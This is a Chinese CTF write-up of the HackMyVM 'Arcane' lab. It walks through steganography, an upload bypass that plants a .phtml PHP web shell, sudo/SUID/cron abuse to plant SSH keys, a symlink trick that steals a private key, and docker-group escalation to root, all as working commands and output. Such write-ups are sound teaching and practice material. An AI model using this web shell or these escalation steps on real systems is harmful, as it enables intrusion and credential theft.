HackMyVM Arcane 通关记录｜图片隐写、上传绕过与 Docker 组提权

靶机链接：Arcane

0x01 基本信息

名称	IP	说明
Kali Linux	`192.168.1.109`	攻击机
Arcane	`192.168.1.104`	Ubuntu 24.04.3 LTS（Linux 6.8.0-85-generic）

攻击流程

点击展开

攻击链摘要

阶段	关键操作 / 证据	作用
端口扫描	`nmap -sV -sC -p 21,22,80`	确认 vsftpd 3.0.5、OpenSSH 9.6p1、Apache 2.4.58
FTP 枚举	匿名登录读 `b00m.txt`、`.b00m2.txt`	排除 FTP 直接突破口，确认 leet 说话风格
Web 侦察	`/` 的 `c0m3-@nd-p1@y` 路径提示	进入第二层页面
图片隐写	`steghide extract -sf p3wp3w.jpg -p d33p3r`	得到 `h3h3h3.txt`，明确指向 `up10@ds` 上传
上传绕过	`.php` 被拦截，`.phtml` 返回 `Succ3ss!`	绕过黑名单获得 RCE
初始 shell	`cmd.phtml?c=id` 返回 `uid=33(www-data)`	获得 `www-data` 命令执行
横向到 silco	`sudo -u silco /usr/bin/base58` 读家目录文件并解码	得到 SSH 密码 `@nyth!ng`
横向到 vi	`users` 组共享 SUID `/usr/bin/find` 写公钥	获得 `vi` SSH
横向到 caitlyn	`caitvi` 组可写 `/opt/p@tr01.sh`，cron 每分钟以 caitlyn 执行	等待 1 分钟获得 `caitlyn` SSH 与 User Flag
横向到 jinx	`sudo -u jinx /bin/cat /var/ftp/b00m.txt` + `/var/ftp` 可写建软链接	读取 `jinx` 的 `id_rsa` 私钥
Root 提权	`jinx` 属 `docker` 组，`docker run -v /:/mnt --rm alpine cat /mnt/root/r00t.txt`	读取 Root Flag

0x02 端口扫描与服务识别

对靶机进行重点端口扫描与服务识别：

nmap -sV -sC -p 21,22,80 -T4 192.168.1.104 -oN arcane_fast.txt

Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-03 11:49 +0800
Nmap scan report for arcane.lan (192.168.1.104)
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 0        100            35 Oct 15  2025 b00m.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.109
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 89:b3:d4:76:23:35:c7:01:76:cf:28:05:75:84:67:12 (ECDSA)
|_  256 7d:51:9b:7b:17:d0:be:c6:ad:fe:ab:8e:28:a0:56:ce (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Arcane
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

21/tcp：vsftpd 3.0.5，允许匿名登录。
22/tcp：OpenSSH 9.6p1。
80/tcp：Apache 2.4.58，标题 Arcane。

端口扫描效率建议

全端口 -p- 在本网段 RTT 抖动较大时容易超时。复现时先用重点端口确认三件套，再后台补全端口扫描即可，不影响主链。

0x03 FTP 匿名枚举

匿名登录并列目录、下载文件：

ftp -n 192.168.1.104 <<'EOF'
user anonymous anonymous
passive
ls -la
get b00m.txt /tmp/b00m_new.txt
quit
EOF

drwxrwxr-x    2 0        100          4096 Oct 16  2025 .
drwxrwxr-x    2 0        100          4096 Oct 16  2025 ..
-rw-rw-r--    1 0        100            18 Oct 15  2025 .b00m2.txt
-rw-rw-r--    1 0        100            35 Oct 15  2025 b00m.txt

cat /tmp/b00m_new.txt

S0rry, th3r3 !s n0th!ng !n h3r3 :(

隐藏文件内容：

R3@lly n0th!ng :P

FTP 只有 leet 风格的玩笑文本，没有直接凭据，把重心转到 Web。

0x04 Web 侦察：两层页面

首页：

curl -s http://192.168.1.104/ | head -40

<body>
    <h1>W@nn@ j0!n m3?</h1>
    <img src="p3w.jpg" alt="P3w">
    <h1>c0m3-@nd-p1@y</h1>
</body>

首页给出图片 p3w.jpg 与路径提示 c0m3-@nd-p1@y。直接访问第二层：

curl -s http://192.168.1.104/c0m3-@nd-p1@y/

<body>
    <h1>G00d j0b!</h1>
    <img src="p3wp3w.jpg" alt="P3w P3w">
    <h1>But y0u h@v3 t0 g0 d33p3r!</h1>
</body>

第二层给出新图片 p3wp3w.jpg 与提示 d33p3r，是典型的 Steghide 密码提示。

上传入口同样可直接探测到：

curl -s http://192.168.1.104/c0m3-@nd-p1@y/up10@ds/
curl -s "http://192.168.1.104/c0m3-@nd-p1@y/up10@d.php" | head -20

目录列表：/c0m3-@nd-p1@y/up10@ds/ 可列目录。
上传接口：/c0m3-@nd-p1@y/up10@d.php 表单字段为 file + submit=Up10@d。

0x05 图片隐写：d33p3r 解出上传提示

下载两张图片并校验：

mkdir -p /tmp/arcane_repro
wget -q http://192.168.1.104/p3w.jpg -O /tmp/arcane_repro/p3w.jpg
wget -q "http://192.168.1.104/c0m3-@nd-p1@y/p3wp3w.jpg" -O /tmp/arcane_repro/p3wp3w.jpg
md5sum /tmp/arcane_repro/*.jpg

b4bdf9a3bbdd81c33c4029157b5e18b8  /tmp/arcane_repro/p3w.jpg
2c660e8c72071227d0b678639d047b3f  /tmp/arcane_repro/p3wp3w.jpg

用提示词解第二张图：

steghide info /tmp/arcane_repro/p3wp3w.jpg -p "d33p3r"

"p3wp3w.jpg":
  format: jpeg
  capacity: 3.8 KB
  embedded file "h3h3h3.txt":
    size: 62.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

steghide extract -sf /tmp/arcane_repro/p3wp3w.jpg -p "d33p3r" -xf /tmp/arcane_repro/h3h3h3.txt -f
cat /tmp/arcane_repro/h3h3h3.txt

100k f0r up10@ds!
M@yb3 yu0 c@n up10@d s0m3th!ng s0m3h0w...

而第一张图无隐写，可作为排除证据：

steghide info /tmp/arcane_repro/p3w.jpg -p ""

"p3w.jpg":
  format: jpeg
  capacity: 4.5 KB
steghide: could not extract any data with that passphrase!

结论：主线是“去更深处看上传”，即 up10@ds / up10@d.php。

0x06 文件上传绕过与初始 RCE

先验证黑名单行为。.php 被拦截：

echo '<?php echo "BLOCK_TEST"; ?>' > /tmp/arcane_repro/block.php
curl -s -X POST "http://192.168.1.104/c0m3-@nd-p1@y/up10@d.php" \
  -F "file=@/tmp/arcane_repro/block.php" -F "submit=Up10@d" | head -5

N0 php f!l3s @ll0w3d, d@h

改用 .phtml，配套 WebShell 见附件 shell.phtml：

<?php echo "PHTML_OK:"; system($_GET["c"] ?? "id"); ?>

printf '<?php echo "PHTML_OK:"; system($_GET["c"] ?? "id"); ?>' > /tmp/arcane_repro/cmd.phtml
curl -s -X POST "http://192.168.1.104/c0m3-@nd-p1@y/up10@d.php" \
  -F "file=@/tmp/arcane_repro/cmd.phtml" -F "submit=Up10@d" | head -5

Succ3ss!

确认落盘：

curl -s "http://192.168.1.104/c0m3-@nd-p1@y/up10@ds/" | grep -i -o 'href="[^"]*\.p[^"]*"'

href="cmd.phtml"

触发 RCE，拿到 www-data：

curl -s "http://192.168.1.104/c0m3-@nd-p1@y/up10@ds/cmd.phtml?c=id"

PHTML_OK:uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -s "http://192.168.1.104/c0m3-@nd-p1@y/up10@ds/cmd.phtml?c=uname+-a%3B+whoami%3B+pwd"

PHTML_OK:Linux arcane 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
www-data
/var/www/html/c0m3-@nd-p1@y/up10@ds

系统版本：

curl -s -G --data-urlencode 'c=uname -a; lsb_release -a 2>&1; cat /etc/os-release | head -5' \
  "http://192.168.1.104/c0m3-@nd-p1@y/up10@ds/cmd.phtml"

PHTML_OK:Linux arcane 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Distributor ID: Ubuntu
Description:    Ubuntu 24.04.3 LTS
Release:        24.04
Codename:       noble

0x07 横向移动 1：www-data → silco

通过 WebShell 查看 sudo -l：

W="http://192.168.1.104/c0m3-@nd-p1@y/up10@ds/cmd.phtml"
curl -s -G --data-urlencode 'c=sudo -l' "$W"

PHTML_OK:Matching Defaults entries for www-data on arcane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on arcane:
    (silco) NOPASSWD: /usr/bin/base58

base58 支持读文件，可按 GTFOBins 思路读取 silco 家目录下 www-data 无权直读的文件：

curl -s -G --data-urlencode 'c=ls -la /home/silco/; cat /home/silco/v3ry\!mp0rt@ntsp33ch.txt 2>&1 | head -5' "$W"

PHTML_OK:total 32
drwxr-xr-x 4 silco silco 4096 Aug 16 12:27 .
drwxr-xr-x 6 root  root  4096 Oct 15  2025 ..
-rw-r--r-- 1 silco silco  220 Oct 15  2025 .bash_logout
-rw-r--r-- 1 silco silco 3771 Oct 15  2025 .bashrc
drwx------ 2 silco silco 4096 Oct 16  2025 .cache
drwxrwxr-x 3 silco silco 4096 Oct 15  2025 .local
-rw-r--r-- 1 silco silco  807 Oct 15  2025 .profile
-rw------- 1 silco silco  251 Oct 15  2025 v3ry!mp0rt@ntsp33ch.txt
cat: '/home/silco/v3ry!mp0rt@ntsp33ch.txt': Permission denied

curl -s -G --data-urlencode 'c=sudo -u silco /usr/bin/base58 /home/silco/v3ry!mp0rt@ntsp33ch.txt' "$W"

PHTML_OK:49QpLSfcuKZX8DkNaQ5Xxg1Dq2ScSjWqNQWGDeq3sLY64x2BDgmTSyBczq3KspKSFkprVhXB1tac8VfmFPWnArcbpxF7grMnPAVsHDHmKL4j2K2awLFyDfsCA9VWevkSSJEPpa7dTd8PaVihQEdqXGwk2c8Xdz9X96AJbJhCm5oKbKX7jxEevFwRHxNDzwM7a1ZjVA5xhFoC7SBHiUoUHSfM8KPNeeDtnEXrfeASMUeS7wEgUiJnik3SgmBzW9D78fDTajvsCmi2X9FiwK9eJx2fuD52yrdGWQbJfCrtsMCtwQ6EMKU9RDxnMndrDetXDMikvs3DhzNVYNKRNugSdSy

本地解码得到 Silco 台词：

curl -s -G --data-urlencode 'c=sudo -u silco /usr/bin/base58 /home/silco/v3ry!mp0rt@ntsp33ch.txt | base58 -d' "$W"

PHTML_OK:!’d 1!k3 t0 13t y0u !n 0n @ v3ry !mp0rt@nt s3cr3t ! 13@rn3d wh3n ! w@s @b0ut y0ur @g3, b0y. Y0u s33, p0w3r, r3@1 p0w3r d03sn’t c0m3 t0 th0s3 wh0 w3r3 b0rn str0ng3st 0r f@st3st 0r sm@rt3st. N0. !t c0m3s t0 th0s3 wh0 w!11 d0 @nyth!ng t0 @ch!3v3 !t.

台词末尾 @nyth!ng 即 silco 的 SSH 密码：

sshpass -p '@nyth!ng' ssh -o StrictHostKeyChecking=no silco@192.168.1.104 'id; groups; ls -la ~/'

uid=1001(silco) gid=1001(silco) groups=1001(silco),100(users)
silco users
total 32
drwxr-xr-x 4 silco silco 4096 Aug 16 12:27 .
drwxr-xr-x 6 root  root  4096 Oct 15  2025 ..
-rw-r--r-- 1 silco silco  220 Oct 15  2025 .bash_logout
-rw-r--r-- 1 silco silco 3771 Oct 15  2025 .bashrc
drwx------ 2 silco silco 4096 Oct 16  2025 .cache
drwxrwxr-x 3 silco silco 4096 Oct 15  2025 .local
-rw-r--r-- 1 silco silco  807 Oct 15  2025 .profile
-rw------- 1 silco silco  251 Oct 15  2025 v3ry!mp0rt@ntsp33ch.txt

0x08 横向移动 2：silco → vi

silco 属于 users 组，枚举同组特权文件：

sshpass -p '@nyth!ng' ssh -o StrictHostKeyChecking=no silco@192.168.1.104 \
  'find / -group users 2>/dev/null | head -20; ls -l /usr/bin/find'

/usr/bin/find
/var/ftp
/var/ftp/b00m.txt
/var/ftp/.b00m2.txt
-rwsr-x--- 1 vi users 204264 Apr  8  2024 /usr/bin/find

/usr/bin/find 属主 vi、属组 users 且带 SUID，silco 可借它以 vi 身份执行命令。复现时生成专用密钥，避免复用既有私钥：

ssh-keygen -t ed25519 -f /tmp/arcane_repro_key -N "" -q
chmod 600 /tmp/arcane_repro_key
ls -l /tmp/arcane_repro_key /tmp/arcane_repro_key.pub

-rw------- 1 kali kali 411 Sep  3 04:10 /tmp/arcane_repro_key
-rw-r--r-- 1 kali kali  92 Sep  3 04:10 /tmp/arcane_repro_key.pub

正文只记录密钥文件的路径、权限和大小，不展示公钥或私钥内容。

通过 SUID find 向 vi 写公钥：

PUB=$(cat /tmp/arcane_repro_key.pub)
sshpass -p '@nyth!ng' ssh -o StrictHostKeyChecking=no silco@192.168.1.104 \
  "/usr/bin/find . -exec /bin/sh -p -c 'mkdir -p /home/vi/.ssh && echo \"$PUB\" >> /home/vi/.ssh/authorized_keys && chmod 600 /home/vi/.ssh/authorized_keys && chmod 700 /home/vi/.ssh && ls -l /home/vi/.ssh/' \; -quit"

total 4
-rw------- 1 vi silco 92 Sep  3 04:10 authorized_keys

ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no vi@192.168.1.104 \
  'id; groups; cat /etc/cron.d/caitlyn_job; ls -l /opt/p@tr01.sh; cat /opt/p@tr01.sh'

uid=1003(vi) gid=1003(vi) groups=1003(vi),100(users),1004(caitvi)
vi users caitvi
*/1 * * * * caitlyn /opt/p@tr01.sh
-rwxrwx--- 1 caitlyn caitvi 55 Oct 16  2025 /opt/p@tr01.sh
#!/bin/bash

echo "0n3 3y3 sh3r!ff !s w@tch!ng y0u!!!"

vi 的留言文件可一并取证：

ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no vi@192.168.1.104 'cat ~/f@th@nds.txt'

S!st3r ! th0ught ! m!ss3d h3r
Sh3 k33ps m3ssing w!th th@t p!lti3, C@itlyn
...
N0 p@ssw0rds h3r3 trust m3
C@us3 I @m m3ss!ng w!th y0u t00!!!

0x09 横向移动 3：vi → caitlyn

vi 在 caitvi 组，对 /opt/p@tr01.sh 可写，而该脚本每分钟以 caitlyn 执行。追加写入公钥的 payload：

PUB=$(cat /tmp/arcane_repro_key.pub)
ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no vi@192.168.1.104 "cat >> /opt/p@tr01.sh <<'EOF'
mkdir -p /home/caitlyn/.ssh
echo \"$PUB\" >> /home/caitlyn/.ssh/authorized_keys
chmod 600 /home/caitlyn/.ssh/authorized_keys
chmod 700 /home/caitlyn/.ssh
EOF
grep -q 'authorized_keys' /opt/p@tr01.sh && echo '[+] cron payload written'"

[+] cron payload written

等待一轮 cron 后登录并读 User Flag：

sleep 70
ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no caitlyn@192.168.1.104 \
  'id; groups; ls -l ~/.ssh/authorized_keys; cat ~/us3r.txt'

uid=1000(caitlyn) gid=1000(caitlyn) groups=1000(caitlyn),100(users),1004(caitvi)
caitlyn users caitvi
-rw------- 1 caitlyn caitlyn 92 Sep  3 04:12 /home/caitlyn/.ssh/authorized_keys
!t's@us3rfl@gf0rh@ckmyvm

0x0A 横向移动 4：caitlyn → jinx

查看 caitlyn 的 sudo 权限与可写目录：

ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no caitlyn@192.168.1.104 \
  'sudo -l; ls -ld /var/ftp; ls -l /var/ftp/'

Matching Defaults entries for caitlyn on arcane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User caitlyn may run the following commands on arcane:
    (jinx) NOPASSWD: /bin/cat /var/ftp/b00m.txt
drwxrwxr-x 2 root users 4096 Oct 16  2025 /var/ftp
total 4
-rw-rw-r-- 1 root users 35 Oct 15  2025 b00m.txt

/var/ftp 属组 users 可写，而 sudo 只限制“以 jinx 身份 cat 固定路径”。把该路径换成指向 jinx 私钥的软链接即可越界读：

ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no caitlyn@192.168.1.104 '
rm /var/ftp/b00m.txt
ln -sf /home/jinx/.ssh/id_rsa /var/ftp/b00m.txt
ls -l /var/ftp/
sudo -u jinx /bin/cat /var/ftp/b00m.txt > /tmp/jinx_id_rsa
chmod 600 /tmp/jinx_id_rsa
test -s /tmp/jinx_id_rsa && echo '[+] private key captured'
stat -c '%A %U:%G %s bytes %n' /tmp/jinx_id_rsa
'

total 0
lrwxrwxrwx 1 caitlyn caitlyn 22 Sep  3 04:12 b00m.txt -> /home/jinx/.ssh/id_rsa
[+] private key captured
-rw------- caitlyn:caitlyn 2602 bytes /tmp/jinx_id_rsa

把私钥取回本地并登录 jinx：

scp -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no \
  caitlyn@192.168.1.104:/tmp/jinx_id_rsa /tmp/jinx_id_rsa_repro
chmod 600 /tmp/jinx_id_rsa_repro
ssh -i /tmp/jinx_id_rsa_repro -o StrictHostKeyChecking=no jinx@192.168.1.104 'id; groups'

uid=1002(jinx) gid=1002(jinx) groups=1002(jinx),100(users),112(docker)
jinx users docker

关键点是 jinx 在 docker 组，可直接与 Docker Daemon 交互。

0x0B 权限提升到 root

docker 组成员等价于无限制 root。直接挂载主机根目录读 flag：

ssh -i /tmp/jinx_id_rsa_repro -o StrictHostKeyChecking=no jinx@192.168.1.104 \
  'id; docker --version; docker run -v /:/mnt --rm alpine cat /mnt/root/r00t.txt'

uid=1002(jinx) gid=1002(jinx) groups=1002(jinx),100(users),112(docker)
Docker version 28.2.2, build 28.2.2-0ubuntu1~24.04.1
!t's@r00tfl@gf0rh@ckmyvm...
...
H@, n0, !'m m3ss!ng w!th yu0 @ga!n!
...
but!tr3@lly!s@r00tfl@g
...
b00m!

首次会自动拉取 alpine:latest：

Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
55afa1ecc21d: Pulling fs layer
55afa1ecc21d: Verifying Checksum
55afa1ecc21d: Download complete
55afa1ecc21d: Pull complete
Digest: sha256:28bd5fe8b56d1bd048e5babf5b10710ebe0bae67db86916198a6eec434943f8b
Status: Downloaded newer image for alpine:latest

0x0C 最终成果 (Final Flags)

User Flag

路径： /home/caitlyn/us3r.txt
内容： !t's@us3rfl@gf0rh@ckmyvm

ssh -i /tmp/arcane_repro_key -o StrictHostKeyChecking=no caitlyn@192.168.1.104 \
  'cat /home/caitlyn/us3r.txt; ls -l /home/caitlyn/'

!t's@us3rfl@gf0rh@ckmyvm
total 4
-rw------- 1 caitlyn caitlyn 25 Oct 21  2025 us3r.txt

Root Flag

路径： /root/r00t.txt
内容： 首尾分别为 !t's@r00tfl@gf0rh@ckmyvm... 与 b00m!，中间包含 H@, n0, !'m m3ss!ng w!th yu0 @ga!n! 与 but!tr3@lly!s@r00tfl@g

ssh -i /tmp/jinx_id_rsa_repro -o StrictHostKeyChecking=no jinx@192.168.1.104 \
  'docker run -v /:/mnt --rm alpine cat /mnt/root/r00t.txt > /tmp/r00t.txt; cat /tmp/r00t.txt'

总结

阶段	入口	关键缺陷	影响
信息收集	FTP + HTTP	匿名 FTP 可读，首页泄露路径提示	快速锁定第二层与上传入口
隐写	`p3wp3w.jpg`	Steghide 密码即页面提示 `d33p3r`	得到上传方向指引
初始访问	`up10@d.php`	黑名单只拦 `.php`，放行 `.phtml`	`www-data` RCE
横向到 silco	`sudo base58`	可读任意文件并回显	解码出台词密码 `@nyth!ng`
横向到 vi	SUID `find`	属主 `vi`、属组 `users` 可被组内滥用	写 `authorized_keys` 拿 SSH
横向到 caitlyn	cron 脚本	`caitvi` 组可写、每分钟以 caitlyn 执行	延时 1 分钟拿 SSH 与 User Flag
横向到 jinx	`sudo cat` 固定路径	`/var/ftp` 可写，可用软链接偷换目标	读出 `jinx` 私钥
Root 提权	`docker` 组	Docker 守护进程访问权限等价于 root	挂载 `/` 读 Root Flag

0x0D 配套脚本

文件	说明
shell.phtml	`.phtml` 黑名单绕过 WebShell，输出 `PHTML_OK:` 前缀并执行 `?c=` 命令，本文 `cmd.phtml` 即由此上传

0x01 基本信息​

攻击流程​

攻击链摘要​

0x02 端口扫描与服务识别​

0x03 FTP 匿名枚举​

0x04 Web 侦察：两层页面​

0x05 图片隐写：d33p3r 解出上传提示​

0x06 文件上传绕过与初始 RCE​

0x07 横向移动 1：www-data → silco​

0x08 横向移动 2：silco → vi​

0x09 横向移动 3：vi → caitlyn​

0x0A 横向移动 4：caitlyn → jinx​

0x0B 权限提升到 root​

0x0C 最终成果 (Final Flags)​

User Flag​

Root Flag​

总结​

0x0D 配套脚本​